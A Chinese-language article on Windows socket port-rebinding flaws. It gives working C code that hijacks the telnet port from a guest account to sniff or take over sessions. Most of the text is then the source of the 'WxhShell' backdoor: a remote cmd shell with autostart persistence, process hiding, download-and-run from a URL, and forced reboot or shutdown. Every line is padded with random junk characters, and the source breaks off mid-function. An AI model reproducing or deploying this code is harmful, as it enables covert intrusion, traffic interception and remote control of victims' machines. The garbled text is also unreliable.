在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
xH'H!
8 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Pq_Il9 q2hZ1o saddr.sin_family = AF_INET;
x b _C1n :+R||qi saddr.sin_addr.s_addr = htonl(INADDR_ANY);
b1 KiO2
E 'Y&yt"cs bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
{) .=G PD/~@OsxU 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
I&(cdKY
z _nTjCN625 这意味着什么?意味着可以进行如下的攻击:
H%sQVE7m ^lQ-w|7( 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
B2,!
0Re b(XhwkGVq 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
GN~:rdd \<PX'mnO 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
{fGi:b\[ 8 h 1Q7(8=Eg 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
9#3+k/A ^SjGNg^ 7D 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
[M;P:@ Ot,sMRk' 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
&[s^`e >?tcL * 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
6%yr>BFtVV p 3_Q #include
vG #include
=)bZSb"<" #include
z_Qw's #include
|H@M- DWORD WINAPI ClientThread(LPVOID lpParam);
~XZ1,2jA/ int main()
B\("08x {
dj]sr!q+ WORD wVersionRequested;
Nf;vUYP DWORD ret;
TvQAy/Y0 WSADATA wsaData;
<"\K|2Sg BOOL val;
APLu?wy7s5 SOCKADDR_IN saddr;
+ATN2
o SOCKADDR_IN scaddr;
.:lzT"QXI int err;
D<rjxP SOCKET s;
]&9f:5', SOCKET sc;
Z
v~
A9bB int caddsize;
Ik}*7D HANDLE mt;
O=-|b kO DWORD tid;
Mv9s wVersionRequested = MAKEWORD( 2, 2 );
H?aB8=) err = WSAStartup( wVersionRequested, &wsaData );
jn+0g:l if ( err != 0 ) {
"`3H0il;< printf("error!WSAStartup failed!\n");
W"2\vo) return -1;
),~Ca'TU }
z.jGVF4 saddr.sin_family = AF_INET;
MT V'!Zxs /`'50Cj //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
fO:*85%}7 FF/MTd}6qG saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
6?KsH;L9 saddr.sin_port = htons(23);
{2q if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
F.\]Hqq {
++kiCoC printf("error!socket failed!\n");
,)Q mQ^/ return -1;
PDir?' }
/ _cOg? o val = TRUE;
9:kb0oBa?l //SO_REUSEADDR选项就是可以实现端口重绑定的
8F@6^9C if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
(Ux%7H_d {
$ &^
,(z9 printf("error!setsockopt failed!\n");
o%|1D'f^ return -1;
^Krkf4fO }
pa\]@;P1 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
prm //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
^L'K?o
//其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
-jyD!( Nh+$'6yT% if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
b;}MA7= {
t7~mW$}O ret=GetLastError();
nY*ODL printf("error!bind failed!\n");
m?m,w$K return -1;
i/$lOde }
U^,ld` listen(s,2);
PD$'xY|1= while(1)
|Jq/kmn {
~M\s!!t3 caddsize = sizeof(scaddr);
Ti'O 2k //接受连接请求
ck@[% ? sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
oOD|FrlY if(sc!=INVALID_SOCKET)
*%fOE;-? {
m83i6"!H mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
=_UPZ] if(mt==NULL)
KS|$_-7u {
Y0b.utR& printf("Thread Creat Failed!\n");
<e=0J8V8,i break;
wWm#[f],? }
vx
,yz+yP }
|_ @iaLE CloseHandle(mt);
6#K_Rg>. }
f{)*" closesocket(s);
ML'R[~| WSACleanup();
6-JnT_ return 0;
iFHVr'Og' }
$:xUXEi{ DWORD WINAPI ClientThread(LPVOID lpParam)
S\ li<xl {
Dho~6K}" SOCKET ss = (SOCKET)lpParam;
&/zsIx+ SOCKET sc;
L3W
^ip4 unsigned char buf[4096];
AI)9E=D% SOCKADDR_IN saddr;
dE^'URBiA long num;
epwXv|aSZ DWORD val;
w5[POo' 5 DWORD ret;
w?/,LV //如果是隐藏端口应用的话,可以在此处加一些判断
r>G$u //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
%_z]iz4 saddr.sin_family = AF_INET;
fkI<RgM saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Zkz:h7GUG- saddr.sin_port = htons(23);
@&~BGh if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
mDq01fU4 {
tL3(( W" printf("error!socket failed!\n");
U "}Kth return -1;
Z2`e*c-[E }
HN3
yA1<[V val = 100;
JRNyvG>j if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
0\mM^+fO {
<iMkHch ret = GetLastError();
{<_}[} XY return -1;
I{2e0 }
zJV4) if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
~<$8i}7 {
G)putk@
ret = GetLastError();
^6`R:SV4Gx return -1;
Gm|QOuw }
}tJ:-!*2 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
bVVa5? HP {
TJVNR_x printf("error!socket connect failed!\n");
9XoKOR( closesocket(sc);
1'd "O
@ closesocket(ss);
)GR^V=o7,Y return -1;
i&l$G55F }
ZNx{7]=a while(1)
Na`qA j} {
R<wb8iir //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
57oY]NT? //如果是嗅探内容的话,可以再此处进行内容分析和记录
a $KM
q> //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
0J_ x*k6 num = recv(ss,buf,4096,0);
VVf~ULZ- if(num>0)
g$:2c7uL send(sc,buf,num,0);
\q,w)BE else if(num==0)
%%f=aPw break;
%bv<OMD num = recv(sc,buf,4096,0);
OrH&dY if(num>0)
B8P%4@T send(ss,buf,num,0);
JD'/m
hN0 else if(num==0)
!k[zUti break;
M35}5+ }
>DV0!'jW closesocket(ss);
aTPpE9Pa& closesocket(sc);
vCi:cIp/ return 0 ;
d }]b }
k"n#4o: \t1vYIY]T Ig6s'^ ==========================================================
Ge
@d" U}
g%`< 下边附上一个代码,,WXhSHELL
omY?`(= q5`Gl ==========================================================
|6uEf/*DX CZ0 {*K: #include "stdafx.h"
> Euput\ u!X2ju< #include <stdio.h>
D@3|nS #include <string.h>
A#p@`|H#B #include <windows.h>
1%+0OmV& #include <winsock2.h>
Llzowlf e #include <winsvc.h>
P"~B2__* #include <urlmon.h>
:b
;5O3:B %k2zsM #pragma comment (lib, "Ws2_32.lib")
X~R
qv5@- #pragma comment (lib, "urlmon.lib")
"=RB
# p3Gj=G #define MAX_USER 100 // 最大客户端连接数
L,:U _\HQ #define BUF_SOCK 200 // sock buffer
*yJb4uALB #define KEY_BUFF 255 // 输入 buffer
g VuN a) =CJs&Qa2 #define REBOOT 0 // 重启
|, :(3Ml #define SHUTDOWN 1 // 关机
Dp'/uCW) 1k hwwoo #define DEF_PORT 5000 // 监听端口
tC&y3!k2jR wUSWB{y #define REG_LEN 16 // 注册表键长度
}M1<a4~ #define SVC_LEN 80 // NT服务名长度
7>4t{aRf_8 ](W#Tj5- // 从dll定义API
Xau.4&\d typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
*]EcjK% typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
A+dY~@*a typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
)dvOg'it typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
x~mXtqg %?cPqRHJ ~ // wxhshell配置信息
"JGaw_o struct WSCFG {
bhgh
]{ int ws_port; // 监听端口
8(+X0} char ws_passstr[REG_LEN]; // 口令
qaQ int ws_autoins; // 安装标记, 1=yes 0=no
ZuE0'9 char ws_regname[REG_LEN]; // 注册表键名
2ru6bIb; char ws_svcname[REG_LEN]; // 服务名
kBT cND| char ws_svcdisp[SVC_LEN]; // 服务显示名
j9qN!.~mM char ws_svcdesc[SVC_LEN]; // 服务描述信息
b/G0EcRw+ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
s}A]lY int ws_downexe; // 下载执行标记, 1=yes 0=no
G(4k#jB char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
SHaZ-d char ws_filenam[SVC_LEN]; // 下载后保存的文件名
vuK 5DG4 SY{J };
mHhm~u B
O"+m // default Wxhshell configuration
{!="PnB struct WSCFG wscfg={DEF_PORT,
%? g]{ "xuhuanlingzhe",
{7;TQ?/ 1,
:DZiDJ@ "Wxhshell",
6?Wsg`9 "Wxhshell",
fY `A "WxhShell Service",
6v1j*' "Wrsky Windows CmdShell Service",
FX'W%_f, "Please Input Your Password: ",
Nn^el'S' 1,
PF+`3 "
http://www.wrsky.com/wxhshell.exe",
q8p 'bibY "Wxhshell.exe"
FqiK}K.~/ };
J)(pGS@ B[*i}k%i // 消息定义模块
^.4<#Qs char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
>s>5k
O char *msg_ws_prompt="\n\r? for help\n\r#>";
dp?uq' char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
]f\rB8k|& char *msg_ws_ext="\n\rExit.";
o 1b#q/ char *msg_ws_end="\n\rQuit.";
8=e\^Q+ char *msg_ws_boot="\n\rReboot...";
>SzTZ3!E char *msg_ws_poff="\n\rShutdown...";
'.bMkty# char *msg_ws_down="\n\rSave to ";
F%Xq}LMd (O&b:D/Y char *msg_ws_err="\n\rErr!";
;uJVY)7a char *msg_ws_ok="\n\rOK!";
\GkcK$Y ;Rt,"W) char ExeFile[MAX_PATH];
k4|YaGhf int nUser = 0;
m:H )b{ HANDLE handles[MAX_USER];
(2{1m#o int OsIsNt;
>!wwXhH( $L&*0$[]Q SERVICE_STATUS serviceStatus;
+yTL SERVICE_STATUS_HANDLE hServiceStatusHandle;
.c',?[S/vH ePF9Vzq // 函数声明
f"-?%I*' int Install(void);
b1^MX).vH int Uninstall(void);
<k)rfv7 int DownloadFile(char *sURL, SOCKET wsh);
"#OmmU<U int Boot(int flag);
yf$7<gwX void HideProc(void);
59)PJ0E int GetOsVer(void);
g,1\Gj%y int Wxhshell(SOCKET wsl);
_7;#0B void TalkWithClient(void *cs);
ru U| int CmdShell(SOCKET sock);
#8(@a
Y int StartFromService(void);
ugL$W@ int StartWxhshell(LPSTR lpCmdLine);
rN*4Y d9^h
YS{ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
`Ffn:=Do VOID WINAPI NTServiceHandler( DWORD fdwControl );
\t(/I=E8/
xE}q(.] // 数据结构和表定义
rVO+
vhih SERVICE_TABLE_ENTRY DispatchTable[] =
ClEtw {
Io:xG6yG {wscfg.ws_svcname, NTServiceMain},
N@) D,~ {NULL, NULL}
ei"FN3 Rm };
R"tLu/S n F!Uk `[L // 自我安装
*
5j iC int Install(void)
?$gEX@5h {
Coyop#q#"{ char svExeFile[MAX_PATH];
ZA# jw 8F HKEY key;
4[(P>`Unx strcpy(svExeFile,ExeFile);
B EY}mR] )S5Q5"j&=f // 如果是win9x系统,修改注册表设为自启动
U2h?l
`nP if(!OsIsNt) {
LsmC/+7r$1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
YS/DIH{9e RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
<?I~ + RegCloseKey(key);
1M+mH#? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
^,rbA>/L RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
m!PN1$9V RegCloseKey(key);
@Pa ;h return 0;
FPu,sz8 }
\:Nbl<9(9 }
[3\}Ca1 }
ul:jn]S* else {
NQOdgp VfQSfNsi // 如果是NT以上系统,安装为系统服务
HWc=.Qq SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
| 0&~fY if (schSCManager!=0)
, n+dB2\ {
Dl7#h,GTc< SC_HANDLE schService = CreateService
JU~l (
{%
;tN`{M schSCManager,
{?t=*l\S{w wscfg.ws_svcname,
_kar5B$ wscfg.ws_svcdisp,
7wZKK0;T SERVICE_ALL_ACCESS,
~UL;O\-b0 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Q!@"Y/ SERVICE_AUTO_START,
=XqmFr;h SERVICE_ERROR_NORMAL,
('>!dXA$ svExeFile,
MN#\P1 NULL,
fghJj@ES NULL,
n0cqM}P@;! NULL,
O6m}#?Ai/@ NULL,
b>o38( NULL
jirxzj );
|{Oe&j3| if (schService!=0)
VkUMMq{ {
6 s*#y[$ CloseServiceHandle(schService);
=i `o+H CloseServiceHandle(schSCManager);
oo/#]a strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
aiz_6@Qfz* strcat(svExeFile,wscfg.ws_svcname);
;]'mx if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
}PoB`H'K5 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
G"C'/ RegCloseKey(key);
o8Tt|Lxb$8 return 0;
.)Du
; }
&'i>5Y }
6)Kg!.n%f CloseServiceHandle(schSCManager);
/9i2@#J}W1 }
38rC;
6 }
?*Jv&f# &,bJ]J)8O return 1;
!x&/M*nBE }
[X;yJ $ cE[4CCpy // 自我卸载
3>-^/ int Uninstall(void)
}]/"auk {
mhVSZhx| HKEY key;
rBT#Cyl P)Sw`^d if(!OsIsNt) {
`vUilh ^c if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
z#*fELV RegDeleteValue(key,wscfg.ws_regname);
EdLbVrN, RegCloseKey(key);
f7\$rx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
TVQ9"C RegDeleteValue(key,wscfg.ws_regname);
s_u@8e 6_ RegCloseKey(key);
va| 1N/& return 0;
LG@5Z- }
L%Me
wU0TZ }
/wKL"M-% }
lorjMS else {
>DPC}@Wl {}~7Gi! SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
{Q I"WFdGx if (schSCManager!=0)
K&\xbT {
<-FAF:6$@@ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
r. :LZEr if (schService!=0)
+%oXPG? {
]~GwZB'M if(DeleteService(schService)!=0) {
)} tI8 CloseServiceHandle(schService);
oBpHmMzA CloseServiceHandle(schSCManager);
4Y;z46yM% return 0;
iJT_*,P^ }
GMr jZ CloseServiceHandle(schService);
1@egAo) }
o^}K]ML!t CloseServiceHandle(schSCManager);
VMZ\9IwI }
+7.\>Ucq` }
V+(1U|@~
!0i return 1;
$TGE }
Rq|7$O5 >;LXy // 从指定url下载文件
M2l0x @| int DownloadFile(char *sURL, SOCKET wsh)
iP)`yB5 ` {
il|e5TD^ HRESULT hr;
Uf4A9$R.G char seps[]= "/";
>^=upf/ char *token;
'pa[z5{k+ char *file;
\oA>%+]5 char myURL[MAX_PATH];
3rBSwgRl char myFILE[MAX_PATH];
gY|f[M| \!x~FVA strcpy(myURL,sURL);
oSq?.*w< token=strtok(myURL,seps);
ark~#<SqAr while(token!=NULL)
#rD0`[pz {
clV3x`z file=token;
m&a.i
B token=strtok(NULL,seps);
W US[hx, }
H|JPqBNRh TF R8 GetCurrentDirectory(MAX_PATH,myFILE);
G)t_;iNL| strcat(myFILE, "\\");
o<cg9 strcat(myFILE, file);
1DLAfsLlj send(wsh,myFILE,strlen(myFILE),0);
6V-u<FJ send(wsh,"...",3,0);
*t=8^q(K[ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
LDc?/
Z1 if(hr==S_OK)
~.7/o0'+ return 0;
)31{.c/ else
/N '0@q return 1;
iI.pxo
s |qm_ESzl }
Xt}
4B# UTwXN |'| // 系统电源模块
t/%{R.1MN int Boot(int flag)
,a
2(h {
+-2o b90_m HANDLE hToken;
:8h\x TOKEN_PRIVILEGES tkp;
-Y>,\VEK v]{F.N if(OsIsNt) {
vxE#6 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
`xv2,Z9< LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
UI2TW)^2 tkp.PrivilegeCount = 1;
08czP-)OZ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
MD|T4PPz,} AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Z uFk}R"x if(flag==REBOOT) {
?TWve)U if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
*^aEUp6& return 0;
h@AKfE!\~ }
)SU\s+"M else {
hQ7-m.UZw if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
fVJlA return 0;
4|U$ON?x }
![3 /! }
R.x^ else {
Y=83r]% if(flag==REBOOT) {
nSy{{d if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
RISDjU3 return 0;
$/p0DY }
{#` O'F> else {
Y8v13"P6 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
{=I:K|& return 0;
I-Q@v` }
H2kib4^i }
z][hlDv\j =M6Ph% return 1;
\rj>T6 }
d6^:lbj eR3v=Q // win9x进程隐藏模块
kI?+\k\V` void HideProc(void)
/ <C{$Gu {
IN8G4\r )d~{gPr. HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
/Fk]>|* if ( hKernel != NULL )
z( \4{Y
{
M}fk[Yr> pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
$-=xG&fSz ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
B%7Az!GX
FreeLibrary(hKernel);
/
f5q9sp8 }
Iip%er%b y`,;m#frT return;
jFDVd;#CS }
y#T.w0* r1axC% // 获取操作系统版本
tgyW:<iv int GetOsVer(void)
\E(^<Af {
~U r OSVERSIONINFO winfo;
X;bHlA-g winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
y'5`Uo?\", GetVersionEx(&winfo);
oyT`AYa if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
x{O) n return 1;
]4ib^R~Z else
5^ck$af return 0;
H@xHkqan }
f@@7?5fW &HQ_e$1 // 客户端句柄模块
$PstEL int Wxhshell(SOCKET wsl)
?:tk8Kgf {
gc\/A\F< SOCKET wsh;
3Ofh#|qc& struct sockaddr_in client;
u\{MQB{T DWORD myID;
Wsb>3J 25PZ&^G8% while(nUser<MAX_USER)
J`]9n>G {
3+l8VX&u! int nSize=sizeof(client);
AQ&vq$ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
`# U<'$ if(wsh==INVALID_SOCKET) return 1;
"XQ3mi`y =Vm3f^ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
0u;a*#V @ if(handles[nUser]==0)
ds9U9t closesocket(wsh);
h#p[6}D else
/3#h]5Y"T nUser++;
0GlQWRa }
sWmqx$ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
\G#_z|'dN 5X>K#N return 0;
c/7}5#Rs }
h`dHk]O ^g|j4N // 关闭 socket
;hPVe_/ void CloseIt(SOCKET wsh)
%iB,hGatE {
%+htA0aX closesocket(wsh);
GorEHlvVh nUser--;
v#lrF\G5 ExitThread(0);
ZZw2m@T> }
6FYL},.R &OlX CxH // 客户端请求句柄
=xQPg0g void TalkWithClient(void *cs)
!1ZItJ74# {
^7uXpqQBr Jkv!]C SOCKET wsh=(SOCKET)cs;
OMW]9E char pwd[SVC_LEN];
@SH[<c char cmd[KEY_BUFF];
XuWX@cK char chr[1];
.]H/u
"d int i,j;
%+nM4)h M]|]b-# while (nUser < MAX_USER) {
Y<IuwS Ee_?aG
e& if(wscfg.ws_passstr) {
/6rQ.+|). if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
vz(=3C[ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
g(auB/0s //ZeroMemory(pwd,KEY_BUFF);
'qUM38 s i=0;
9M^5<8: while(i<SVC_LEN) {
@~Ys*]4UE a~ RY 8s // 设置超时
^q_wtuQ fd_set FdRead;
EKO~\d struct timeval TimeOut;
@3y
>|5Y FD_ZERO(&FdRead);
NT2XG&$W> FD_SET(wsh,&FdRead);
kh@O_Q`j TimeOut.tv_sec=8;
-Bq]E,Xf) TimeOut.tv_usec=0;
=;GmLi3A int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
q %j8Js if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
{Q[ G/=mx
:f:&B8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
lI%RdA[ pwd
=chr[0]; Wy\^}
if(chr[0]==0xd || chr[0]==0xa) { BL~#-Mm<|l
pwd=0; C=CZtjUt
break; #D#kw*c
} w:9`R<L
i++; 5VpqDL~d
} =`*@OJHH
>0[:uu,'>
// 如果是非法用户,关闭 socket ,cxe"U
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); giH#t< )W
} =E$bZe8
#eN2{G=4+
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "N">RjJ"
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >Tjl?CS
:ssj7wl :
while(1) { W}N7jPO}
}t"K(oamm
ZeroMemory(cmd,KEY_BUFF); g_n_Qlo
J5{
// 自动支持客户端 telnet标准 Wuo:PX'/9
j=0; #'},/Lm@
while(j<KEY_BUFF) { qO38vY){
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BQ<\[H;
cmd[j]=chr[0]; VxS3lR=
if(chr[0]==0xa || chr[0]==0xd) { l]~9BPsR
cmd[j]=0; ;w+
break; q6*i/"mN*
} $UdBZT-
j++; Tt9cX}&&
} k q]E@tE*3
j^;P=L0=
// 下载文件 GqNOWK2O
if(strstr(cmd,"http://")) { "+4Jmf9
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 00'SceL=`
if(DownloadFile(cmd,wsh)) ~(^pGL3<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6;\1bP?
else
0Gc:+c7{
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pEz^z9
} WtKKdL
else { ?&zi{N
FfxD=\
switch(cmd[0]) { &SPY'GQ!
pH.&C 5kA
// 帮助 i-;#FT+Xc
case '?': { Cg?Mk6 i
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M%la@2SK=
break; l53Q"ajG
} Ywv\9KL
// 安装 $j(d`@.DN~
case 'i': { hr&&b3W3p
if(Install()) T)%6"rPL3!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); livKiX`
else q9p31b3
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TBrwir
break; YlUh|sK7m
} !q,7@W3i
// 卸载 j24DL+
case 'r': { LLT6*up$
if(Uninstall()) !'rdHSy
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,Y6]x^W
else |c8\alw
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +c!HXX
break; SPRTJdaC9
} LC##em=Y
// 显示 wxhshell 所在路径 J)yg<*/3
case 'p': { 2}XRqa.|
char svExeFile[MAX_PATH]; v0!|TI3s
strcpy(svExeFile,"\n\r"); ]T|$nwQ
strcat(svExeFile,ExeFile); fMUh\u3
send(wsh,svExeFile,strlen(svExeFile),0); #"~\/sb
break; 4eB oR%2o
} P7zUf
// 重启 u?fM.=/N
case 'b': { Dq<DW2It>
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?H,f|nc
if(Boot(REBOOT)) vf@j d}?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1$.svR
else { ;+(_stxqV9
closesocket(wsh); /n(0w`
ExitThread(0); 64#Ri!RR}
} #:N#i
break; [;7zg@Sa
} C|Y[T{g?t
// 关机 nA_'jl
case 'd': { Zk lpnL*!
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0{%@"Fb0O
if(Boot(SHUTDOWN)) QW,:'\G
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~XP|dn}
else { 7S
8X)
closesocket(wsh); ]|PTZ1?j
ExitThread(0); pZeOdh
} S>h\D4.
break; 8x)i{>#i
} $:oC\K6
// 获取shell MZX)znO
case 's': { 0;T7fKj
CmdShell(wsh); I}o}
#OJ
closesocket(wsh); L~)8Q(f
ExitThread(0); `Mt|+iT$p
break; h%$^s0w
} 1goRO
// 退出 H[nBNz)C
case 'x': { 1eV&oN#
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -6I*k |%8T
CloseIt(wsh); ,g}$u'A+d
break; LTzdg >\oJ
} @v@F%JCZ
// 离开 "OYD9Q''
case 'q': { |>xuH#Q
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~+0IFJ `}
closesocket(wsh); #_S]\=N(
WSACleanup(); 2[3t7 C
exit(1); ps:`rVQ7
break; 13Z,;YW
} HyWR&0J
} '" %0UflJS
} <`=Kt[_BQ
VVAc bAGJ
// 提示信息 HBvyX`-
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =v::N\&
} .TdFI"Yn
} <'$>&^!^
7]1a3Jk
return; LI3L~6A>
} i.W*Go+
gl`J(
// shell模块句柄 o$;&q
*
int CmdShell(SOCKET sock) 3{~(_
{ j7Y7&x"
STARTUPINFO si; v!ai_d^
ZeroMemory(&si,sizeof(si)); fU
;H
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c CDT27@
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |5dNJF8;Q
PROCESS_INFORMATION ProcessInfo; WHv6E!^\_
char cmdline[]="cmd"; @{fwM;me]P
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); oz.z>+Q
return 0; bcy
} v'?o#_La+
BI-'&kPk
// 自身启动模式 o[ks-C>jw
int StartFromService(void) k*6"!J%A
{ WvJ:yUb2
typedef struct b:~#;$g
{ .'H$|"(v
DWORD ExitStatus; :;hg :Q:
DWORD PebBaseAddress; [sk n9$
DWORD AffinityMask; ;qUB[Kw
DWORD BasePriority; 4XVwi<)
ULONG UniqueProcessId; FGP^rTP)e
